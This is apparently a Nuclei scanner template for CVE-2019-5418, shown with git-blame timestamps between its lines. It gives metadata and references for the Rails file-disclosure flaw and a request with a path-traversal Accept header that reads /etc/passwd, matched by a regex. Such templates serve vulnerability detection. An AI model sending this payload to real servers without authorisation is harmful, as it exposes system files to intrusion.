2021-01-02 04:59:06 +00:00
id : CVE-2019-5418
2020-04-08 15:07:10 +00:00
info :
2022-04-15 16:39:44 +00:00
name : Rails File Content Disclosure
2020-04-08 15:07:10 +00:00
author : omarkurt
2021-09-10 11:26:40 +00:00
severity : high
2022-05-17 09:18:12 +00:00
description : Rails <5.2.2.1, <5.1.6.2, <5.0.7.2, <4.2.11.1 and v3 are susceptible to a file content disclosure vulnerability because specially crafted accept headers can cause contents of arbitrary files on the target system's file system to be exposed.
2021-08-18 11:37:49 +00:00
reference :
2021-03-30 12:10:17 +00:00
- https://github.com/omarkurt/CVE-2019-5418
- https://weblog.rubyonrails.org/2019/3/13/Rails-4-2-5-1-5-1-6-2-have-been-released/
2022-04-15 16:39:44 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2019-5418
2022-05-17 09:18:12 +00:00
- https://www.exploit-db.com/exploits/46585/
2023-07-11 19:49:27 +00:00
- http://lists.opensuse.org/opensuse-security-announce/2019-05/msg00011.html
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 7.5
2021-09-10 11:26:40 +00:00
cve-id : CVE-2019-5418
2023-07-11 19:49:27 +00:00
epss-score : 0.97413
cpe : cpe:2.3:a:rubyonrails:rails:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : rubyonrails
product : rails
tags : cve,cve2019,rails,lfi,disclosure,edb
2020-05-08 16:31:59 +00:00
2023-04-27 04:28:59 +00:00
http :
2020-04-08 15:07:10 +00:00
- method : GET
path :
- "{{BaseURL}}"
2022-09-17 08:16:32 +00:00
2020-04-08 15:07:10 +00:00
headers :
2020-05-24 03:55:32 +00:00
Accept : ../../../../../../../../etc/passwd{{
2022-09-17 08:16:32 +00:00
2020-07-08 11:38:57 +00:00
matchers-condition : and
2020-04-08 15:07:10 +00:00
matchers :
- type : regex
2022-09-17 08:16:32 +00:00
part : body
2020-04-08 15:07:10 +00:00
regex :
2021-07-24 21:35:55 +00:00
- "root:.*:0:0:"
2023-07-11 19:49:27 +00:00
- type : status
status :
- 200
- 500